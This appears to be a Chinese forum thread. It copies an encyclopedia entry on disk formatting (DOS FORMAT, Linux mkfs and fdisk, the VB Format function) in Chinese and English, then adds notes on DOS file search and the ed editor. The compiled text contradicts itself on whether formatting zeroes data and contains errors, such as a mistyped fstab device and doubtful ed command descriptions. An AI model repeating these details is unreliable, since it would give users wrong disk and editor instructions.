如果选择的是快速格式化,那么将只从分区文件分配表中做删除标记,而不扫描磁盘以检查是否有坏扇区。只有在硬盘以前曾被格式化过并且在能确保硬盘没有损坏的情况下,才可以使用此选项。
数据安全性
理论上讲,高级格式化(不论是快速还是普通形式)并没有真正从磁盘上删除数据,它只是给数据所在的磁盘扇区的开头部分写入了一种特殊的删除标记,告诉系统这里可以写入新的数据。只要在格式化后没有立刻用全新的数据覆盖整个硬盘,那么原来的数据还会好端端在那里,只需要一些特定的软件即可恢复原来的数据。
相反地,低级格式化所做的是将磁盘上的每一个扇区用“00”覆盖,这将完全地破坏硬盘上的所有数据,不再有恢复的可能。
格式化能清除硬盘上的病毒么?
是的。只要针对某个分区的格式化命令被执行,这个分区上的一切现有数据就被标记为不可读。病毒作为一种程序文件自然也就看不到了,当然也就不可能再运行。
值得注意的是,一个硬盘往往不止一个分区,表现在“我的电脑”中,你会看到从C:开始的好几个盘符。你必须将所有这些不同盘符的分区格式化之后才能说自己的硬盘上百分百的没有病毒。否则的话,这个盘被格式化了,那个盘上还有病毒,什么时候打开别的盘来一读,病毒又会回来了。
在Windows环境下能格式化所有硬盘分区么?
答案是“不能”。只要Windows系统启动起来,在系统盘(一般是C:盘,也可自定义)上就有一些系统文件被锁定为不可移动或删除。Windows下的格式化命令是图形界面的Windows程序,这种程序是Windows操作系统的附属工具,离开Windows操作系统就无法运行,所以它不能格式化它的“上级”系统程序所在的磁盘分区。
只要不是系统分区,别的分区都可以轻松地对之进行格式化的操作。
怎样格式化所有硬盘分区?
答:想办法进入DOS,比如用Windows的启动光盘。进入DOS命令行界面后,使用 FORMAT X:(把X:换成任意字母+半角冒号,"X"必须是FAT格式分区)即可。也可用其他第三方磁盘管理工具比如PQ Magic等。这些磁盘分区软件,可以在分区的同时对当前分区进行格式化。
三、在Linux 下的格式化
Linux 下有图形界面的格式化工具: Gparted,推荐新手使用,界面直观,操作方便
Ubuntu/Debian 用户可以用:apt-get install gparted来安装它;另外,Linux 下的格式化命令是 mkfs.。比如:mkfs.ext3、mkfs.vfat、mkfs.ntfs、mkfs.xfs等等,如果要把 /dev/sda1 格式化为 Ext3 文件系统,就输入mkfs.ext3 /dev/sda1即可完成格式化。其他操作与此相似,都是mkfs.
Linux下添加新硬盘及分区格式化要点:
在为主机添加硬盘前,首先要了解linux系统下对硬盘和分区的命名方法。
在Linux下对IDE的设备是以hd命名的,第一个ide设备是hda,第二个是hdb。依此类推
一般主板上有两个IDE接口,一共可以安装四个IDE设备。主IDE上的两个设备分别对应hda和hdb,第二个IDE口上的两个设备对应hdc和hdd。
一般硬盘安装在主IDE的主接口上,所以是hda;光驱一般安装在第二个IDE的主接口上,所以是hdc(应为hdb是用来命名主IDE上的从接口)
SCSI接口设备是用sd命名的,第一个设备是sda,第二个是sdb。依此类推
分区是用设备名称加数字命名的。例如hda1代表hda这个硬盘设备上的第一个分区。
每个硬盘可以最多有四个主分区,作用是1-4命名硬盘的主分区。逻辑分区是从5开始的,每多一个分区,数字加以就可以。
比如一般的系统都有一个主分区用来引导系统,这个分区对应大家常说的C区,在linux下命名是hda1。后面我们分三个逻辑分区对应常说的D、E、F,在linux下命名是hda5、hda6、hda7
给硬盘分区
在slackware下有两个分区软件fdisk和cfdisk
例如现已经有一个硬盘了,现在添加另一个硬盘到系统
那么根据命名规则知道这个新添加的硬盘应该是hdb。可用下面命令给硬盘分区
fdisk /dev/hdb
你也可以用cfdisk来分区,命令如下
cfdisk /dev/hdb
格式化硬盘
格式化成ext3格式
mkfs.ext3 /dev/hdb1
格式化成reiserfs的格式
mkfs.reiserfs /dev/hdb1
让硬盘启动自动挂载
例如挂载/dev/hdb1分区到/mnt/hd目录下
用vi编辑/etc/fstab文件,加入如下内容
/dev/dhb1 /mnt/hd reiserfs defaults 1 1
5 杀毒作用 编辑
由于格式化将磁盘内的信息全部删除,所以病毒也会被一并删除掉,因此,格式化也经常被当作一个清除病毒的辅助手段。但是,如果病毒是潜伏在主板bios里,或者潜伏在被格式化分区以外的分区内,格式化当然起不到清除病毒的作用。不过,有的病毒存在文件中,格式化也是一个很好的选择!
格式化 格式化(Format)是在物理驱动器(硬盘)的所有数据区上写零的操作过程,格式化是一种纯物理操作,同时对硬盘介质做一致性检测,并且标记出不可读和坏的扇区。由于大部分硬盘在出厂时已经格式化过,所以只有在硬盘介质产生错误时才需要进行格式化。
一、DOS的启动
如果你安装了WIN98,在电脑启动时按住Ctrl不放,出现启动选择菜单,选择5"Command Prompt Only"即可进入DOS方式。
目前我们常用的操作系统有windows 9x/Me,NT,2000、windows Xp、windows 2003等,都是可视化的界面。在这些系统之前的人们使用的操作系统是DOS系统。DOS系统目前已经没有什么人使用了,但是dos命令却依然存在于我们使用的windows系统之中。大部分的DOS命令都已经在Windows里变成了可视化的界面,但是有一些高级的DOS命令还是要在DOS环境下来执行。所以学习命令行对于我们熟练操作Windows系统是很有必要的。
不同的操作系统要用不同的命令进入命令行界面。
在Win9x/Me的开始菜单中的运行程序中键入"command"命令,可进入命令行界面。
在Win2000/NT的开始菜单中的运行程序中键?quot;cmd"命令,可进入命令行界面。
下面我用讲到的DOS命令都可以在Windows Me操作系统中执行。
那么,我们如何进入命令行窗口?
开始——〉运行——〉键入command(也可以直接输入cmd)命令——〉回车
进入了命令行操作界面(DOS窗口),在DOS窗口中只能用键盘来操作。
在DOS中通过输入英文命令加回车键这种方式来执行程序。
二、退回到A:盘
如果我们需要格式化C:盘,那么不能在C:盘目录格式化C:盘,而是要退回到A:盘。反正C:盘以外的盘,如果是用启盘启动的,那一般启完成后就是A:盘,如果是用光盘启动的那般不在A:盘(具体在那个盘要看共有几个分区,它会自动向后推移)。
三、格式化命令及图解(请注意小心误格式化)
FORMAT(Format.COM) --格式化命令
众所周知,新买的磁盘都必须经过格式化后方能使用,FORMAT命令可以完成对软盘和硬盘的格式化操作,格式为"FORMAT ",例如:"FORMAT C: /S"。它有两个常见的参数:
/Q :进行快速格式化(请注意小心误格式化) ;
/S :完成格式化,并将系统引导文件拷贝到该磁盘
VB Format 函数
返回 Variant (String),其中含有一个表达式,它是根据格式表达式中的指令来格式化的。
三、语法
Format(expression]])
Format 函数的语法具有下面几个部分:
部分 说明
expression 必要参数。任何有效的表达式。
format 可选参数。有效的命名表达式或用户自定义格式表达式。
firstdayofweek 可选参数。常数,表示一星期的第一天。
firstweekofyear 可选参数。常数,表示一年的第一周。
四、设置值
firstdayofweek 参数有下面设置:
常数 值 说明
vbUseSystem 0 使用 NLS API 设置。
VbSunday 1 星期日(缺省)
vbMonday 2 星期一
vbTuesday 3 星期二
vbWednesday 4 星期三
vbThursday 5 星期四
vbFriday 6 星期五
vbSaturday 7 星期六
firstweekofyear 参数有下面设置:
常数 值 说明
vbUseSystem 0 使用 NLS API 设置。
vbFirstJan1 1 从包含一月一日的那一周开始(缺省)。
vbFirstFourDays 2 从本年第一周开始,而此周至少有四天在本年中。
VbFirstFullWeek 3 从本年第一周开始,而此周完全在本年中。
五、说明
格式化 作法
数字 使用预先定义的命名数值格式或创建用户自定义数值格式。
日期和时间 使用预先定义的命名日期/时间格式或创建用户自定义日期/时间格式。
日期和时间序数 使用日期和时间格式或数值格式。
字符串 创建自定义的字符串格式。
格式化 如果在格式化数字时没有指定 format,Format 会提供与 Str 函数类似的功能,尽管它是国际化的。然而,以 Format 作用在正数上不会保留正负号空间,而以 Str 的话则会。
参考资料:
1.
超级硬盘数据恢复软件V4.1.5.0 | 可以恢复被删除被格式化
http://down.it168.com/114/129/111193/index.shtml
2.
分区格式化恢复软件(硬盘/U盘/内存卡/移动硬盘) 免费版
http://www.onlinedown.net/soft/304926.htm
3.
如何在 Linux 下格式化 USB 设备
http://www.lupaworld.com/article-226487-1.html
扩展阅读:
1.
不用格式化情况下转换文件系统格式
http://www.tongyongpe.com/n/201301/81.html
2.
手机存储卡的格式化、修复及数据恢复
http://www.yesky.com/100/1949600.shtml
3.
Space HD Lite LiveWallPaper 2.0
http://www.onlinedown.net/soft/115718.htm
Format
Edit Entry
The term "format" generally refers to "formatting (formatting)".
This entry lacks basic information sections and category classifications. Supplement relevant content to help the entry become more complete! Edit now >>
Formatting refers to an operation to initialize a disk or partition (partition) on a disk. This operation usually causes all files in the existing disk or partition to be cleared. Formatting is usually divided into low-level formatting and high-level formatting. If not specifically specified, formatting a hard disk usually refers to high-level formatting, while formatting a floppy disk usually includes both of these.
Table of Contents
1 Basic Introduction
2 Technical Types
3 Difference from Low-Level
4 Operation Methods
5 Antivirus Effect
1 Basic Introduction Edit
Simply put, formatting is to divide a blank disk into small areas and number them for the computer to store and read data. Without this work, the computer won't know where to write and read from.
The concept of formatting originally only applied to computer hard disks. With the continuous development of electronic products, many memory devices use the term "formatting". In a narrow sense, it is equivalent to data clearing, deleting all data in the memory device, and restoring the memory device to its initial state.
Formatting A hard disk must be partitioned before it can be used. After the disk is partitioned, the next step is to perform the high-level formatting (FORMAT) work on the hard disk. A hard disk must be formatted before it can be used.
Formatting is to create tracks and sectors on the disk. After the tracks and sectors are created, the computer can use the disk to store data.
What is formatting: Here we use an image analogy: If the hard disk is a large clean room, we divide it into three bedrooms (divided into three areas); but we can't move in immediately. Before that, we must clean and decorate each room. Then formatting here is the step of "cleaning and decorating"! In addition, the high-level formatting of the hard disk before use can also identify whether there are any damages to the tracks and sectors of the hard disk. If the formatting process goes smoothly, the hard disk is generally fine.
It can also be called format-ization, and applied in other phrase sentences according to specific formats (widely applied in fields such as formulas).
Example: a*a/q
1*1/9
2 Technical Types Edit
Simply put, formatting is to do the initialization work for the disk so that we can record data on the disk in an orderly manner. It's like we have a big house to store books. We won't just move the books and throw them on the floor. Instead, we need to set up bookshelves, mark categories, and put the books in categories.
Before a newly purchased disk can be recognized by the operating system, some magnetic marks need to be written to each sector on the disk, so that data on the disk can be accessed under that operating system. This action is called formatting.
Low-Level Formatting
Low-Level Formatting, also known as low-level formatting or physical formatting (Physical Format), for some hard disk manufacturers, it is also called initialization. Originally, along with the appearance of disks using CHS addressing methods, frequency modulation (FM), improved frequency modulation (MFM) and other encoding schemes, low-level formatting was used to refer to the operation of dividing cylinders, tracks, and sectors on the disk. Nowadays, with the gradual withdrawal of floppy disks from daily applications and the appearance of disks using new addressing methods and interfaces, this term has lost its original meaning. Most hard disk manufacturers define low-level formatting (Low-Level Formatting) as the operation of creating hard disk sectors (sector) to enable the hard disk to have storage capacity. Now, people have certain misunderstandings about low-level formatting. In most cases, when referring to low-level formatting, it often refers to the zero-filling operation of the hard disk.
For a standard 1.44 MB floppy disk, its low-level formatting will create 160 tracks (80 per side) on the floppy disk, 18 sectors per track, and 512-bit groups (byte) per sector; a total of 1,474,560 bit groups. It should be noted that the low-level formatting of a floppy disk is usually supported by the system. Usually, the formatting operation on a floppy disk includes both low-level formatting and high-level formatting operations.
High-Level Formatting
High-level formatting, also known as logical formatting, refers to writing specific data in specific areas of the disk according to the selected file system (such as FAT12, FAT16, FAT32, NTFS, EXT2, EXT3, etc.) to initialize the disk or disk partition and clear all files in the original disk or disk partition. High-level formatting includes rewriting the corresponding area of the partition table in the master boot record, and according to the selected file system, dividing a piece of disk space in the partition for storing the file allocation table, directory table, and other disk space for file management, so that the user can use this partition to manage files.
Quick Formatting
When formatting a disk, we also have an option of "quick formatting". When running the regular formatting command, each sector on the partition will be marked as free and available in the file allocation table of the current partition. At the same time, the system will scan the hard disk to check for bad sectors, and each sector will be marked as available during the scanning process. The work of scanning bad sectors takes up most of the time for formatting the disk partition.
If quick formatting is selected, only deletion marks will be made from the partition file allocation table, and the disk will not be scanned to check for bad sectors. This option can only be used if the hard disk has been formatted before and it can be ensured that the hard disk is not damaged.
3 Difference from Low-Level Edit
Low-level formatting is to divide cylinders and tracks on a blank disk, and then divide the tracks into several sectors. Each sector is also divided into identification part ID, gap area GAP, and data area DATA, etc. It can be seen that low-level formatting is a job before high-level formatting, and it can only be completed in the DOS environment. Moreover, low-level formatting can only be aimed at a hard disk and cannot support a single partition. When each hard disk is factory-produced, it has been low-level formatted by the hard disk manufacturer. Therefore, usually users do not need to perform low-level formatting operations. In fact, the comprehensive formatting we perform on a floppy disk is a kind of low-level formatting.
It should be pointed out that low-level formatting is a lossy operation, which has a certain negative impact on the life of the hard disk. Therefore, many hard disk manufacturers suggest that users should not "recklessly" use this trick unless it is absolutely necessary. When the hard disk is affected by an external strong magnet or strong magnetic field, or due to long-term use, the magnetic recording part of the sectors divided by low-level formatting on the disk platter is lost, resulting in a large number of "bad sectors", low-level formatting can be used to re-divide "sectors". But the premise is that the disk platter of the hard disk is not physically scratched.
High-level formatting is to clear the data on the hard disk, generate boot area information, initialize the FAT table, mark logical bad tracks, etc. Generally, when we reinstall the system, it is high-level formatting. So there is a possibility of viruses, because the MBR is not rewritten, and MBR viruses can be cleared by antivirus software. Or, in DOS, execute fdisk /mbr to rewrite the MBR to completely clear the virus.
Simply put, high-level formatting is formatting related to the operating system, and low-level formatting is formatting unrelated to the operating system.
High-level formatting mainly formats the tracks of each partition of the hard disk, and logically divides the tracks. For high-level formatting, different operating systems have different formatting programs, different formatting results, and different track division methods.
Low-level formatting is physical-level formatting, mainly used to divide the cylinders of the hard disk, establish the number of sectors, and select the sector gap ratio. The hard disk must be low-level formatted before high-level formatting, and the newly factory-produced hard disk has already been low-level formatted, so users do not need to perform low-level formatting again. Generally, users only need to perform low-level formatting when it is absolutely necessary. For example, if your hard disk has too many bad sectors, often causing errors when accessing data, and even the operating system cannot be used at all, then you need to perform low-level formatting. Also, if some parameters related to low-level formatting on your hard disk are damaged by viruses, such as the hard disk interval coefficient, then you can only perform low-level formatting to re-establish these parameters.
Many motherboards' CMOS provide the function of low-level formatting, generally in the HDD Low Level Format option. If your motherboard has this option, you can directly use the Hard Disk Low Level Format Utility in it for low-level formatting. There are also many motherboards that do not have the function of low-level formatting. If this is the case, it is best for you to use the hard disk management and low-level formatting program provided by the hard disk manufacturer. There are also general-purpose low-level formatting programs, such as DM (Disk Manager), PC-Tools, etc. If your hard disk is relatively standard, you can also use these tools for low-level formatting.
4 Operation Methods Edit
1. In the DOS environment
In the DOS environment, there are multiple software that can perform formatting operations. The system usually also provides a command-line interface formatting software "Format" in the form of an external command.
The parameters of the Format command include the disk on which formatting will be performed, and some other minor parameters, such as the cluster size, file system format, etc.
The usual format of the Format command is: Format X: (X is the drive letter for which formatting operation is to be performed. For example, if you want to format drive C, replace X with C, and so on. Adding the "Q" parameter can perform quick formatting.
2. Formatting under Windows/DOS system
In Windows and DOS operating systems, there are programs for formatting Format, but once the work of formatting the hard disk is performed, all the data on the hard disk will be lost! So before performing this action, make sure whether the data in the disk is still needed. If so, back it up separately first.
If you want to format the C: area of the hard disk, type the format as follows:
can be filled with parameters. It is recommended that everyone generally do not add parameters.
Directly type format C: and then press Enter, because for most people, adding parameters is of little significance.
The most important and commonly used parameters of FORMAT:
/u performs destructive formatting on the hard disk. If this parameter is not added, a hidden MIRROR image file will be generated in the root directory of the hard disk. If no other hard disk operations are performed, the original hard disk content can be restored using UNFORMAT. Of course, it is best to back up the data that needs to be backed up before formatting the hard disk.
Formatting /s copies the DOS system files to the root directory of the hard disk after formatting. Adding this parameter, the hard disk can start to the C: state. This was very useful in the DOS era, but now it has little practical significance.
/c checks the hard disk sectors and repairs bad sectors while formatting the hard disk. This kind of repair is not very reliable and will also affect the formatting speed.
/v adds the label (name) in to the hard disk after formatting.
/q quick formatting There are some less commonly used parameters, which will not be introduced one by one.
We still need to use the Windows 98 boot disk, insert it into the A drive of the computer, then turn on the computer, press 1 key, press Enter, after a few seconds, the screen will show A: because our hard disk has 3 partitions, so type f: and press Enter, the screen becomes F: (if there are 2 partitions, type e: and press Enter, if there are 4 partitions, type g: and press Enter, and so on). Type format c: and press Enter, and the following prompt will appear.
WARNING, ALL DATA ON NON-REMOVABLE DISK
DRIVE C: WILL BE LOST!
Proceed with Format (Y/N)n
It means that the data in drive C will be lost, do you want to format it?
We press Y and press Enter, then a progress number indication will appear, starting from 1 to 99. Formatting a 5G hard disk, if the computer configuration is high, it can be completed in about 2 minutes. If the configuration is low, it may take 5 or 6 minutes, or even longer. But if the progress number does not move for a long time, the hard disk is problematic and needs to be replaced or repaired.
When the progress number flashes 99, the following prompt will appear.
Volume label (11 characters, ENTER for none)?
It means that we are asked to give the hard disk a volume label, that is, a name. If we directly press Enter, there will be no label name.
Then the list of hard disk space after formatting will appear, which will tell us the total capacity of the hard disk, available space, system occupied space, bad sector occupied space, volume label, remaining space and other data, and return to the F:/ state, which means that we have successfully completed the formatting of the C partition. Then we follow the above steps to complete the formatting of the D: area and E: area in turn.
Formatting: refers to the pre-processing of the disk before use to store data. Generally speaking, a new disk must be formatted, and an old used disk can also be formatted. All data on the disk will be deleted after formatting.
Note: Formatting the hard disk is a very dangerous operation. It is recommended to back up important data in advance. If the user who has not backed up in time formats, the user can use some recovery software to recover important data after formatting (high-level formatting). But the premise of full area recovery is that no content has been written to the formatted partition. If content has been written in, it may not be fully recovered, but some data can still be recovered!
Quick Formatting
When formatting a disk, we also have an option of "quick formatting".
When running the regular formatting command, each sector on the partition will be marked as free and available in the file allocation table of the current partition. At the same time, the system will scan the hard disk to check for bad sectors, and each sector will be marked as available during the scanning process. The work of scanning bad sectors takes up most of the time for formatting the disk partition.
If quick formatting is selected, only deletion marks will be made from the partition file allocation table, and the disk will not be scanned to check for bad sectors. This option can only be used if the hard disk has been formatted before and it can be ensured that the hard disk is not damaged.
Data Security
Theoretically, high-level formatting (whether quick or ordinary form) does not really delete data from the disk. It just writes a special deletion mark at the beginning of the disk sector where the data is located, telling the system that new data can be written here. As long as new data is not immediately overwritten on the entire hard disk after formatting, the original data will still be there, and only some specific software is needed to recover the original data.
Conversely, low-level formatting does is to overwrite each sector on the disk with "00", which will completely destroy all data on the hard disk and cannot be recovered.
Can formatting clear viruses on the hard disk?
Yes. As long as the formatting command for a certain partition is executed, all existing data on this partition is marked as unreadable. The virus, as a program file, naturally cannot be seen, and of course cannot run again.
It is worth noting that a hard disk often has more than one partition, which is manifested in "My Computer", where you will see several drive letters starting from C:. You must format all these different partition drive letters before you can say that there are 100% no viruses on your hard disk. Otherwise, this disk is formatted, and there are still viruses on that disk. When you open another disk to read it someday, the virus will come back again.
Can all hard disk partitions be formatted in the Windows environment?
The answer is "no". As long as the Windows system is started, some system files on the system disk (usually drive C:, which can also be customized) are locked as immovable or deletable. The formatting command in Windows is a graphical interface Windows program. This program is an accessory tool of the Windows operating system and cannot run without the Windows operating system. Therefore, it cannot format the disk partition where its "upper" system program is located.
As long as it is not the system partition, other partitions can be easily formatted.
How to format all hard disk partitions?
Answer: Find a way to enter DOS, such as using a Windows boot disk. After entering the DOS command line interface, use FORMAT X: (replace X: with any letter + half-angle colon, "X" must be a FAT format partition) to do it. You can also use other third-party disk management tools such as PQ Magic, etc. These disk partition software can format the current partition while partitioning.
3. Formatting under Linux
There is a graphical interface formatting tool in Linux: Gparted, which is recommended for novices. The interface is intuitive and easy to operate.
Ubuntu/Debian users can use: apt-get install gparted to install it; in addition, the formatting command in Linux is mkfs.. For example: mkfs.ext3, mkfs.vfat, mkfs.ntfs, mkfs.xfs, etc. If you want to format /dev/sda1 as an Ext3 file system, just type mkfs.ext3 /dev/sda1 to complete the formatting. Other operations are similar, all are mkfs.
Key points for adding new hard disks and partitioning formatting under Linux:
Before adding a hard disk to the host, first understand the naming method of hard disks and partitions in the Linux system.
In Linux, IDE devices are named with hd. The first IDE device is hda, and the second is hdb. And so on.
Generally, there are two IDE interfaces on the motherboard, and a total of four IDE devices can be installed. The two devices on the master IDE are respectively corresponding to hda and hdb, and the two devices on the second IDE port are corresponding to hdc and hdd.
Generally, the hard disk is installed on the master interface of the main IDE, so it is hda; the optical drive is generally installed on the master interface of the second IDE, so it is hdc (because hdb is used to name the slave interface on the main IDE).
SCSI interface devices are named with sd. The first device is sda, and the second is sdb. And so on.
Partitions are named with the device name plus a number. For example, hda1 represents the first partition on the hda hard disk device.
Each hard disk can have up to four primary partitions. The role is to name the primary partitions of the hard disk from 1 to 4. Logical partitions start from 5, and each additional partition increases the number by one.
For example, a general system has a primary partition to boot the system. This partition is named hda1 as everyone often says C drive. Then we divide three logical partitions corresponding to the commonly said D, E, F, which are named hda5, hda6, hda7 in Linux.
Partition the hard disk
In slackware, there are two partition software fdisk and cfdisk.
For example, there is already a hard disk, and now add another hard disk to the system.
Then, according to the naming rule, it is known that this newly added hard disk should be hdb. You can use the following command to partition the hard disk.
fdisk /dev/hdb
You can also use cfdisk to partition, the command is as follows.
cfdisk /dev/hdb
Format the hard disk
Format to Ext3 format
mkfs.ext3 /dev/hdb1
Format to reiserfs format
mkfs.reiserfs /dev/hdb1
Automatically mount the hard disk at startup
For example, mount the /dev/hdb1 partition to the /mnt/hd directory.
Edit the /etc/fstab file with vi and add the following content.
/dev/dhb1 /mnt/hd reiserfs defaults 1 1
5 Antivirus Effect Edit
Since formatting deletes all information in the disk, the virus will also be deleted. Therefore, formatting is often used as an auxiliary means to clear the virus. However, if the virus is latent in the motherboard bios or in a partition other than the formatted partition, formatting will naturally not play a role in clearing the virus. However, some viruses exist in files, and formatting is also a good choice!
Formatting (Format) is the operation of writing zeros on all data areas of the physical drive (hard disk). Formatting is a pure physical operation, and at the same time, it performs consistency detection on the hard disk medium and marks unreadable and bad sectors. Since most hard disks have been formatted at the factory, formatting is only required when there are errors in the hard disk medium.
1. Booting of DOS
If you have installed WIN98, hold down Ctrl when the computer starts, a boot selection menu will appear, and select 5 "Command Prompt Only" to enter the DOS mode.
At present, the operating systems we commonly use are windows 9x/Me, NT, 2000, windows Xp, windows 2003, etc., which are all visual interfaces. The operating system used by people before these systems is the DOS system. The DOS system is not used by many people now, but the dos commands still exist in the Windows system we use. Most of the DOS commands have become visual interfaces in Windows, but some advanced DOS commands still need to be executed in the DOS environment. Therefore, learning commands is necessary for us to operate the Windows system proficiently.
Different operating systems use different commands to enter the command line interface.
In the run program in the start menu of Win9x/Me, type the "command" command to enter the command line interface.
In the run program in the start menu of Win2000/NT, type the "cmd" command to enter the command line interface.
The following DOS commands I will talk about can all be executed in the Windows Me operating system.
Then, how do we enter the command line window?
Start -> Run -> Type the command command (you can also directly type cmd) -> Enter.
Enter the command line operation interface (DOS window). In the DOS window, only the keyboard can be used to operate.
In DOS, execute the program by entering the English command plus the Enter key.
2. Return to drive A:
If we need to format drive C:, we cannot format drive C: in the drive C: directory, but have to return to drive A:. Anyway, for a drive other than drive C:, if it is booted with a boot disk, it is generally drive A: after booting. If it is booted with a CD, it is not drive A: (specifically, in which drive it is depends on the number of partitions. It will automatically shift backward).
3. Formatting command and illustration (please be careful about misformatting)
FORMAT (Format.COM) -- Formatting command
As we all know, a newly purchased disk must be formatted before it can be used. The FORMAT command can complete the formatting operation of floppy disks and hard disks. The format is "FORMAT ", for example, "FORMAT C: /S". It has two common parameters:
/Q: Perform quick formatting (please be careful about misformatting);
/S: Complete formatting and copy the system boot file to this disk.
VB Format Function
Returns Variant (String), which contains an expression formatted according to the instructions in the format expression.
3. Syntax
Format(expression]])
The syntax of the Format function has the following parts:
Part Description
expression Required parameter. Any valid expression.
format Optional parameter. Valid named expression or user-defined format expression.
firstdayofweek Optional parameter. Constant indicating the first day of the week.
firstweekofyear Optional parameter. Constant indicating the first week of the year.
4. Setting values
The firstdayofweek parameter has the following settings:
Constant Value Description
vbUseSystem 0 Use NLS API settings.
VbSunday 1 Sunday (default)
vbMonday 2 Monday
vbTuesday 3 Tuesday
vbWednesday 4 Wednesday
vbThursday 5 Thursday
vbFriday 6 Friday
vbSaturday 7 Saturday
The firstweekofyear parameter has the following settings:
Constant Value Description
vbUseSystem 0 Use NLS API settings.
vbFirstJan1 1 Start from the week containing January 1st (default).
vbFirstFourDays 2 Start from the first week of the year, and this week has at least four days in the year.
VbFirstFullWeek 3 Start from the first week of the year, and this week is completely in the year.
5. Description
Formatting Method
Number Use pre-defined named numerical formats or create user-defined numerical formats.
Date and time Use pre-defined named date/time formats or create user-defined date/time formats.
Date and time ordinal Use date and time formats or numerical formats.
String Create custom string formats.
Formatting If Format is used on a positive number without specifying format, it provides a similar function to the Str function, although it is international. However, Format does not reserve a space for the positive sign when acting on a positive number, while Str does.
Reference materials:
1.
Super Hard Disk Data Recovery Software V4.1.5.0 | Can recover deleted and formatted
http://down.it168.com/114/129/111193/index.shtml
2.
Partition Formatting Recovery Software (Hard Disk/USB Flash Drive/Memory Card/Mobile Hard Disk) Free Version
http://www.onlinedown.net/soft/304926.htm
3.
How to Format a USB Device under Linux
http://www.lupaworld.com/article-226487-1.html
Extended reading:
1.
Convert file system format without formatting
http://www.tongyongpe.com/n/201301/81.html
2.
Formatting, Repairing and Data Recovery of Mobile Phone Memory Cards
http://www.yesky.com/100/1949600.shtml
3.
Space HD Lite LiveWallPaper 2.0
http://www.onlinedown.net/soft/115718.htm
|

1<词>,2,3/段\,4{节},5(章)。 |
|
2016-2-7 01:52 |
|
|
zzz19760225
超级版主
        
积分 3673
发帖 2020
注册 2016-2-1
状态 离线
|
『第 9 楼』:
DOS下全盘搜索带有开头文字的文件
使用 LLM 解释/回答一下
川k 渝-SpeakHero 2010-03-30
dos 只能访问FAT , ntfs它不认 采用单个查找还行 CD X: 和 DIR
常用命令中,没有一个是专为查找文件而设置的,没有相应的命令是不是只有一个目录一个目录地去查找了呢?不,这里还有一招,比如我们要看当前目录及当前目录下的子目录中以WT开头的所有文件,输入DIRWT*.*/S系统会把以WT开头的文件及所在的目录显示出来。也就是说,我们要查找某一个文件,其实就是把他显示在屏幕上,而DIR的"/s"参数就是连同子目录的文件一起查看,利用此参数就可以达到了查找的目的。DIR的"/a"和"/h"以及"/ah"还可以帮助你快速查找隐藏文件呢.这个在删除文件的时间最有用处.
dir <头一个字>*.*/s
---------------------------------------------------------------------------------------
*wlm2012 发表于 3 天前 | 只看该作者
源里面有,apt-get install robocode 可以直接安装。
*wchyumo2011 2015-05-20 16:02
目前man中文版只有部分被翻译,在此感谢广大无私的翻译者。
具体操作方法:在终端中输入
sudo aptitude install manpages-zh
或者
sudo apt-get install manpages-zh
你就将拥有 man的中文手册了。
*q和ctl+c,信息和进程结束?
*find / -name "*.*" 搜索命令,*.*替换前面文件名或后面后缀名。
*linux下shell运算简单内容:
echo $((2+5*9))
这样,前面有个$,然后将算式放在括号里(前后圆括号各有两个),这个只支持整数四则运算
*linux的shell下vim写文本:
在shell下输入:vi 文件名加后缀,回车后输入i,就可以在游标处输入文本信息了。
按esc键,输入:wq回车,就保存退出了。
*linux 下ed编辑文件的一些东东(从网上搜来的)
基本应用:
1,$n 打印文件内容,并加行号信息
n 到第n行(n为数字)
n 显示当前行的内容(n为字符)
d 删除该行
/xx/ 查找xx
?xx? 反向查找xx
// 查找下一个
s/str1/str2/ 当前行中替换str1为str2
ns/str1/str2/ 在第n行中替换str1为str2
a,c,i 在当前行操作(a:在行后添加 c:修改行内容 i:在行前插入)
命令参数:
ed file
出错时,h提供简单帮助信息,H提供详细帮助信息,用a,c,I进入输入方式,在单独一行上用,回到命令格式保存文件w. Wq =x
p .p 显示当前行
= 显示当前行的行号
np 显示第n 行
1,6p 显示1-6行
$p 显示最后一行
1,$p显示所有行
+ 显示下一行
- 显示上一行
n 显示当前行及行号
nn 显示第n行及行号
x,yn 显示x—y行及行号
l 显示当前行包括非打印字符
d 删除当前行
u 取消最后命令
s /str1/str2 用 str2 取代str1
s/str1// 删除str1
2s/str1/str2/n 第2 行的str1改为str2并显示修改后的行
s/str1/str2/g 全程替换
<first>,<end>m<line>
2,4m6 第2—4行移到第6行之后
t 块拷贝格式同m
r file 将文件读到当前行后
<first>,<end> w file 写块到文件
!cmd 执行shell命令
/模式/ 正向查找命令
?模式?反向查找命令
// 继续找第2个
g/the/p 全程查找并显示
g/the/s/the/that/ 全程查找the并用that代替the
v与g命令相反
v/the/n 全程查找不包含the 并显示
无字符
^代表行首 $行尾 .任意字符 *任意多个与前面相同字符
/A….B/ 以A开关B结尾中间3个任意
. s/. /. 第1个 . 当前行
第2 个 . 任意字符
第3个 . 字符
s/xx*/y/ 用y代替2个或2个以上的x
s/x*y/y/ 用y代替以x开头以y结束的所有字符
&代表第1个模式内容
/模式1/(模式1)/=/模式1/(&)/
表示x或z
表示0-9的任意数字
----------------------------------------------------------------------------------------------
ed 编辑器是 Linux 操作系统下最简单的文本编辑器。它是以行为单位对文件进行编辑的编辑器,而不像 MS-DOS 系统下的 edit 那样是以整个屏幕框架为单位对文件进行编辑的。因此,如果你已经习惯了使用 edit 这种风格的编辑器,那么你可能需要一段时间才能习惯 ed 的风格。但是这并不重要,因为 ed 的简便性可以使你很快上手的。
ed 编辑器的调用很简单,如果你想新建一个文件,那么只需要在命令行窗口中敲入 ed 然后按下回车键即可:
$ ed <-
如果你想编辑一个已经存在的文件,那么你只要在 ed 的后面空一个,然后敲入文件名即可:
$ ed filename <-
激活 ed 命令后进入的是 ed 编辑器的命令行状态,这可能使一些初学者有些不习惯,如果你这时候随便敲入一些内容,系统会返回一个 ?,表示不知道你要执行什么任务:
$ ed <-
abcde <-
?
这时候你要明确几个编辑器命令,它们是:
a - 在文件的末尾添加新内容
i - 在文件的最后一行之前插入新内容
o - 把文件输入的最后一行(不论是原来存在的或者插入的)替换成新内容
. - 退出编辑文件模式进入命令行模式(注意:此时并没有退出 ed 编辑器)
w - 保存文件
q - 真正退出 ed 编辑器
下面我将就着几个命令举例说明一下。
$ ed <- 激活 ed 命令
a <- 告诉 ed 我要编辑新文件
My name is Titan. <- 输入第一行内容
And I love Perl very much. <- 输入第二行内容
. <- 返回 ed 的命令行状态
i <- 告诉 ed 我要在最后一行之前插入内容
I am 24. <- 将“i am 24.”插入“my name is titan.”和“and i love perl very much.”之间
